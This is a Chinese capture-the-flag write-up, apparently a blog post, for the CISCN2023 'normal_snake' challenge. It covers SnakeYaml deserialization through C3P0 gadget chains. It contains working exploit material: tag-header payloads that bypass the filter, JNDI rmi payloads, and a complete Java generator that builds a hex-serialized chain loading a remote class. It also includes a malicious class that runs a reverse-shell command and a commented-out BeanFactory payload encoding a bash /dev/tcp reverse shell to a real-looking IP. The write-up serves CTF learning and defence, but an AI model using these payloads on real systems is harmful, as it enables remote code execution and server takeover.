首页 > 其他分享 >CISCN2023-华北-normal_snake

CISCN2023-华北-normal_snake

时间:2024-05-05 18:12:17浏览次数:18  
标签:normal throws v2 snake mchange CISCN2023 序列化 com public

就得审java。

又更新了,因为我前面jar包导不进去,所以把它解压了导入的,然后环境正常了就想起来把这个打了。

路由分析

老规矩,先看看路由:

/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。

稍作了解,这其实就是 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!

前面的!!是用于强制类型转化,强制转换为!!后指定的类型,其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

但用tag头可以绕过:微信公众平台 (qq.com)

!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
    
!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

或者这样:

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

而 SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource:

private void checkForExceptions() throws RuntimeException, RuntimeException {
    String upperCaseData = this.data.toUpperCase();
    if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
        if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
            throw new RuntimeException("No way to pass!");
        }
    } else {
        throw new RuntimeException("Unsafe data detected!");
    }
}

开打

看一下pom.xml:

给了c3p0依赖,估计是从这里入手。

在C3P0中有三种利用方式

http base
JNDI
HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

抄一下:

2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)

C3P0 主要有以下利用链:

触发点功效适用性
JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup Jndi 注入 fastjson/snakeyaml/jackson
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject Hex 解码后触发原生反序列化 fastjson/snakeyaml/jackson
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup Jndi 注入 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader URLCLassLoader 远程类加载 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance 不出网的命令注入 Java原生反序列化不出网

 

在不考虑题目黑名单的情况下,这里浅浅了解了一下C3P0的几种打法:

 

JndiRefForwardingDataSource:Jndi 注入

没错,又是老常客了,JNDI注入。

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入

poc链:

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
 -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
   -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
     -InitialContext#lookup()

而SnakeYaml 可以触发该 setter 方法:

String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";

 

WrapperConnectionPoolDataSource:Hex 二次反序列化

String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";

为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子?

首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用:

WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类,而com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用:

public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
    String oldVal = this.userOverridesAsString;
    if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
        vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
    this.userOverridesAsString = userOverridesAsString;
}

经过一系列调用栈:

java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
    -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
      -java.beans.VetoableChangeListener#vetoableChange()
        -C3P0ImplUtils#parseUserOverridesAsString()
          -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
            -com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)

C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组:

下一个栈调用com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化:

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
}

 

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入

如下:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -InitialContext#lookup()

com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入:

看到lookup基本就有谱了。

 

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载

利用链可参考ysoserial:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
     -URLClassLoader

对于最后一步com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)

这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用,

因此可以直接在静态块里面放入恶意数据进行RCE:

 

对于前面一个jndi也有的PoolBackedDataSourceBase,这里一并讲了。

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject():

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,

但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。

所以我们现在要看 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的。

 

从序列化角度来看:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,

如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回:

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{ 
    Reference ref = ((Referenceable) orig).getReference();
    return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference   reference,
                    Name        name,
                    Name        contextName,
                    Hashtable   env )
{
    this.reference = reference;
    this.name = name;
    this.contextName = contextName;
    this.env = env;
}

所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中。

ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化:

WrapperConnectionPoolDataSource
JndiRefConnectionPoolDataSource

那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类,也关系到这个题的exp:

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("evil","evil","http://vps:port/evil.jar");
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

 

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网

JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像。

关于JNDI高版本注入,这个我在之前的博客就分析了:绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)

EXP

言归正传,回到怎么打题目本身。

题目入口是 yaml.load,还给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化

根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化:

WrapperConnectionPoolDataSource#setUserOverridesAsString --> ObjectInputStream#readObject

然后再触发远程类加载或者jndi注入:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> com.mchange.v2.naming.ReferenceableUtils#referenceToObject --> URLClassLoader

借用原作者 URLClassLoader 远程加载类POC直接打了,偷个懒wwww

 

生成序列化内容:

package com.snakeyaml;


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Exp {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable {

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evil","evil","http://vps:port/");
//            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
//            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//            resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
//            return resourceRef;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        C3P0 c3P0=new C3P0();
        PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public
        Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);
        String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));
        String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
        System.out.println(poc);
//        Yaml yaml=new Yaml();
//        yaml.load(poc);
//        byte[] result=serialize(poolBackedDataSourceBase);
//        unserialize(result);
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        outputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static  void unserialize(byte[] s) throws IOException, ClassNotFoundException {
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static String byteArrayToHexString(byte[] byteArray) {
        StringBuilder sb = new StringBuilder();

        for (byte b : byteArray) {
            sb.append(String.format("%02X", b));
        }

        return sb.toString();
    }

}

恶意类:

public class evil {
    private static final long serialVersionUID = 1593252632163539756L;
    static{
        String string = "calc";
        String[] commands = null;
        String command = "";
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            commands = new String[]{"cmd", "/c", string};
        } else {
            command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}";
        }
        try {
            //Runtime.getRuntime().exec(commands);
            Runtime.getRuntime().exec(command);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

 

可以打 jar 包,上面payload改一下加个evil.jar就行:

jar -cvf evil.jar .

当然,我是直接用class字节码打的:

javac evil.java

记得url全编码绕过检测,本地弹calc(这个抄的):

环境变量拿下flag:

NSSCTF{07d7594b-e556-4447-98fb-5cec82e07e6b}

 

参考:

2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)

CTF-Java题记录 - 首页|Aiwin

标签:normal,throws,v2,snake,mchange,CISCN2023,序列化,com,public
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18160178

相关文章

  • CISCN2023初赛-web复现
    Unzip       简单的软链接,都玩烂了。先创个软链接连接到/var/www/html,然后再创个同名文件夹,在这个文件夹下写马,传上去后等效在/var/www/html上写马,直接连接读flag就行了。deserbugjava审计。很显然的反序列化,bugstr传参。lib中出了hutool还有CC3.2.2,但CC自......
  • SnakeYaml反序列化分析
    前言SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。环境搭建<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.32</version></dependency>SPI机制介绍......
  • [9] UE C++ Snake
    思维导图背景地图制作创建瓦片集角色素材GameMode功能游戏开始控制食物的生成食物生成池(性能优化)/**形参如果是一个引用,且没有添加const关键字,代表实参想要借助形参修改值*param是否指定生成时候的地址*/voidASnakeGameModeBase::SpawnFood(FVector&Spaw......
  • 多个生信分析上游分析Snakemake的编写
    准备基本的包condainstall-cbiocondasnakemakesamtoolshisat2trim-galoresubread-y准备数据wgethttps://ftp.ensembl.org/pub/release-110/fasta/sus_scrofa/dna/Sus_scrofa.Sscrofa11.1.dna.toplevel.fa.gzwgethttps://ftp.ensembl.org/pub/release-110/gtf/sus_......
  • 52 Things: Number 40: What is normally considered the difference between SPA and
    52Things:Number40:WhatisnormallyconsideredthedifferencebetweenSPAandDPA?52件事:第40件:通常认为SPA和DPA之间的区别是什么? Thisisthelatestinaseriesofblogpoststoaddressthelistof '52ThingsEveryPhDStudentShouldKnowToDoCryptogr......
  • 卷积神经网络基础---批量归一化(BN层、 Batch Normalization)
    原文链接:https://blog.csdn.net/weixin_43972154/article/details/1201998331.BN层的作用BN层使得神经网络能够设定较高的初始学习率,加速模型收敛过程;将数据进行归一化处理,即在网络的每一层输入的时候,插入了一个归一化层,然后再进入网络的下一层。这样能提高网络的泛化能力,使得网......
  • buuctf-misc-snake
    打开压缩包,是张图片,详细信息里没有东西,用010editor看看有没有隐藏东西后面藏了个压缩包,保存下来,没有密码,解压得到两个文件一个密文文件,一个密钥文件密钥经base64解码后得到WhatisNickiMinaj'sfavoritesongthatreferstosnakes?使用万能的搜索引擎得到答案anaconda......
  • train_transforms,Normalize,CrossEntropyLoss,optimizer,前向传播进行特征提取,反向传播优
    目录train_transforms:变换Normalize(mean=127.5,std=127.5) :缩放到[-1,1]......
  • 【VTKExamples::Points】第十期 NormalEstimation
    很高兴在雪易的CSDN遇见你 VTK技术爱好者QQ:870202403   公众号:VTK忠粉前言本文分享VTK样例NormalEstimation,并解析接口vtkPCANormalEstimation,希望对各位小伙伴有所帮助!感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步!你的点赞就是我的动力(^U^)ノ~YO1.Norm......
  • 范式(Normal Form)是数据库设计中的概念。新的范式(paradigm)
    范式(NormalForm)是数据库设计中的概念,用于描述关系型数据库中的数据表结构是否符合特定的标准化要求。通过将数据库表设计规范化到特定的范式中,可以提高数据库的数据存储效率和数据的一致性,并减少数据冗余。在关系数据库中,存在不同的范式,常见的包括第一范式(1NF)、第二范式(2NF)、第......